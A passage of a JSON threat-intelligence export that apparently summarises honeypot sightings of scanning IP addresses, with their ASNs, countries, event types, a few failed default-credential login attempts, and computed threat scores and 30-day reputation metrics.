      "last_seen": "2026-05-30T05:23:04.455Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56045,
      "as_org": "China Mobile communications corporation",
      "threat_score": 27.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T02:59:09.235000+00:00",
        "last_seen_30d": "2026-05-30T05:33:58.923000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 6
      }
    },
    "66.132.172.194": {
      "attack_count": 6,
      "first_seen": "2026-05-05T15:31:15.439Z",
      "last_seen": "2026-05-05T15:31:55.487Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 159,
        "days_active_30d": 30,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T01:34:30+00:00",
        "last_seen_30d": "2026-05-31T07:43:25.664000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 97,
        "Honeytrap": 47,
        "ElasticPot": 8,
        "Cowrie": 6,
        "Dionaea": 1
      }
    },
    "71.6.232.22": {
      "attack_count": 6,
      "first_seen": "2026-05-12T03:43:27.842Z",
      "last_seen": "2026-05-25T09:11:35.688Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.6,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 24,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-05T09:46:36.222000+00:00",
        "last_seen_30d": "2026-05-28T02:59:33.354000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 37,
        "Cowrie": 6,
        "Ciscoasa": 2,
        "Tanner": 1
      }
    },
    "14.103.127.233": {
      "attack_count": 5,
      "first_seen": "2026-05-31T21:13:08.037Z",
      "last_seen": "2026-05-31T21:13:11.658Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Asdqwe123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T21:13:08.037000+00:00",
        "last_seen_30d": "2026-05-31T21:38:18.215000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "64.227.158.249": {
      "attack_count": 5,
      "first_seen": "2026-05-15T08:31:18.012Z",
      "last_seen": "2026-05-15T08:31:19.840Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Debian2025"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T08:31:18.012000+00:00",
        "last_seen_30d": "2026-05-15T08:32:29.600000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "102.213.42.99": {
      "attack_count": 4,
      "first_seen": "2026-05-03T09:06:48.765Z",
      "last_seen": "2026-05-03T09:08:49.395Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Zimbabwe",
      "country_code": "ZW",
      "city": "Bulawayo",
      "asn": 37204,
      "as_org": "TELONE",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T09:06:48.765000+00:00",
        "last_seen_30d": "2026-05-03T09:19:25.324000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "192.46.221.9": {
      "attack_count": 4,
      "first_seen": "2026-05-21T03:47:30.672Z",
      "last_seen": "2026-05-21T03:47:54.914Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 50.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 2877,
        "days_active_30d": 1,
        "ports_targeted_30d": 1509,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-21T03:47:28+00:00",
        "last_seen_30d": "2026-05-21T03:58:08.044000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1523,
        "Honeytrap": 1323,
        "Dionaea": 9,
        "ConPot": 8,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Redishoneypot": 2,
        "Sentrypeer": 1
      }
    },
    "198.235.24.193": {
      "attack_count": 4,
      "first_seen": "2026-05-28T04:56:33.833Z",
      "last_seen": "2026-05-28T04:56:37.804Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 30,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T03:25:03.764000+00:00",
        "last_seen_30d": "2026-05-31T15:37:06.427000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 15,
        "ConPot": 6,
        "Cowrie": 4,
        "Honeyaml": 1
      }
    },
    "198.235.24.89": {
      "attack_count": 4,
      "first_seen": "2026-05-12T22:42:51.521Z",
      "last_seen": "2026-05-12T22:42:54.944Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 78.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 30,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T21:36:05+00:00",
        "last_seen_30d": "2026-05-31T22:53:36.975000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Honeytrap": 17,
        "Cowrie": 4
      }
    },
    "20.65.154.109": {
      "attack_count": 4,
      "first_seen": "2026-05-03T12:21:12.026Z",
      "last_seen": "2026-05-03T12:21:22.518Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 53.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.8,
        "persistence": 19.2,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 23,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T22:22:09.856000+00:00",
        "last_seen_30d": "2026-05-24T16:12:13.501000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Honeytrap": 7,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "20.84.145.84": {
      "attack_count": 4,
      "first_seen": "2026-05-23T01:36:12.219Z",
      "last_seen": "2026-05-23T01:36:22.759Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 73.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.1,
        "persistence": 24.2,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 29,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T00:49:38.202000+00:00",
        "last_seen_30d": "2026-05-31T11:54:37.467000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Honeytrap": 6,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "45.156.129.98": {
      "attack_count": 4,
      "first_seen": "2026-05-24T08:25:45.879Z",
      "last_seen": "2026-05-24T08:25:53.879Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 75.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 28,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T08:29:35+00:00",
        "last_seen_30d": "2026-05-29T17:53:03.748000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Honeytrap": 16,
        "Cowrie": 4,
        "H0neytr4p": 1
      }
    },
    "64.62.156.195": {
      "attack_count": 4,
      "first_seen": "2026-05-08T00:37:56.876Z",
      "last_seen": "2026-05-08T00:38:00.876Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 76.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.9,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 28,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T14:35:18.115000+00:00",
        "last_seen_30d": "2026-05-30T10:52:35.840000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Honeytrap": 9,
        "Cowrie": 4,
        "CitrixHoneypot": 1
      }
    },
    "64.62.156.80": {
      "attack_count": 4,
      "first_seen": "2026-05-23T13:20:13.093Z",
      "last_seen": "2026-05-23T13:20:17.094Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 30,
        "ports_targeted_30d": 80,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T06:52:20+00:00",
        "last_seen_30d": "2026-05-31T12:58:24.435000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 174,
        "Honeytrap": 78,
        "Dionaea": 6,
        "Mailoney": 6,
        "Cowrie": 4
      }
    },
    "84.187.163.214": {
      "attack_count": 4,
      "first_seen": "2026-05-04T18:52:17.384Z",
      "last_seen": "2026-05-04T18:54:20.368Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "S\u00f6mmerda",
      "asn": 3320,
      "as_org": "Deutsche Telekom AG",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T18:52:17.384000+00:00",
        "last_seen_30d": "2026-05-04T19:04:57.155000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "91.196.152.148": {
      "attack_count": 4,
      "first_seen": "2026-05-13T07:33:51.661Z",
      "last_seen": "2026-05-13T07:34:47.603Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 10.8,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 13,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T04:17:12+00:00",
        "last_seen_30d": "2026-05-14T18:21:56.080000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Honeytrap": 6,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "47.90.139.81": {
      "attack_count": 3,
      "first_seen": "2026-05-04T06:51:13.654Z",
      "last_seen": "2026-05-04T06:52:14.742Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 2.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T06:51:13.654000+00:00",
        "last_seen_30d": "2026-05-04T06:53:20.365000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "89.167.124.202": {
      "attack_count": 3,
      "first_seen": "2026-05-13T22:06:44.649Z",
      "last_seen": "2026-05-13T22:07:45.671Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 37.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 9.2,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 11,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-09T10:51:42.472000+00:00",
        "last_seen_30d": "2026-05-19T03:47:18.933000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Tanner": 44,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "102.66.151.159": {
      "attack_count": 2,
      "first_seen": "2026-05-09T02:42:51.305Z",
      "last_seen": "2026-05-09T02:43:05.412Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": null,
      "asn": 328471,
      "as_org": "Hero-Telecoms",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T02:42:51.305000+00:00",
        "last_seen_30d": "2026-05-09T02:44:06.540000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.160.130.148": {
      "attack_count": 2,
      "first_seen": "2026-05-18T05:20:23.680Z",
      "last_seen": "2026-05-18T05:20:36.347Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 55736,
      "as_org": "Dataknox Pty Limited",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T05:20:23.680000+00:00",
        "last_seen_30d": "2026-05-18T05:21:43.312000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.116.182.164": {
      "attack_count": 2,
      "first_seen": "2026-05-23T10:13:32.530Z",
      "last_seen": "2026-05-23T10:14:02.207Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:13:32.530000+00:00",
        "last_seen_30d": "2026-05-23T10:15:06.419000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "116.207.17.203": {
      "attack_count": 2,
      "first_seen": "2026-05-23T00:20:32.694Z",
      "last_seen": "2026-05-23T00:21:03.291Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:20:32.694000+00:00",
        "last_seen_30d": "2026-05-23T00:22:12.529000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.162.19.163": {
      "attack_count": 2,
      "first_seen": "2026-05-10T01:12:33.178Z",
      "last_seen": "2026-05-10T01:13:03.690Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Mapo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T01:12:33.178000+00:00",
        "last_seen_30d": "2026-05-10T01:14:11.159000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "122.199.113.36": {
      "attack_count": 2,
      "first_seen": "2026-05-30T15:04:30.006Z",
      "last_seen": "2026-05-30T15:04:43.654Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gumi",
      "asn": 9981,
      "as_org": "Saero Network Service LTD",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T15:04:30.006000+00:00",
        "last_seen_30d": "2026-05-30T15:05:51.115000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "136.34.134.182": {
      "attack_count": 2,
      "first_seen": "2026-05-27T14:53:05.512Z",
      "last_seen": "2026-05-27T14:53:08.126Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Kansas City",
      "asn": 16591,
      "as_org": "Google Fiber Inc.",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T14:53:05.512000+00:00",
        "last_seen_30d": "2026-05-27T14:54:43.960000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "138.59.168.226": {
      "attack_count": 2,
      "first_seen": "2026-05-20T14:31:27.262Z",
      "last_seen": "2026-05-20T14:31:38.948Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Cutral-C\u00f3",
      "asn": 52268,
      "as_org": "COPELCO LTDA. CUTRAL-CO",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T14:31:27.262000+00:00",
        "last_seen_30d": "2026-05-20T14:32:48.917000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.113.212.184": {
      "attack_count": 2,
      "first_seen": "2026-05-26T17:58:55.912Z",
      "last_seen": "2026-05-26T17:59:08.849Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T17:58:55.912000+00:00",
        "last_seen_30d": "2026-05-26T18:00:15.494000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.126.135.174": {
      "attack_count": 2,
      "first_seen": "2026-05-11T12:18:55.062Z",
      "last_seen": "2026-05-11T12:19:26.121Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Artur Nogueira",
      "asn": 262343,
      "as_org": "Net Aki Internet Ltda",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
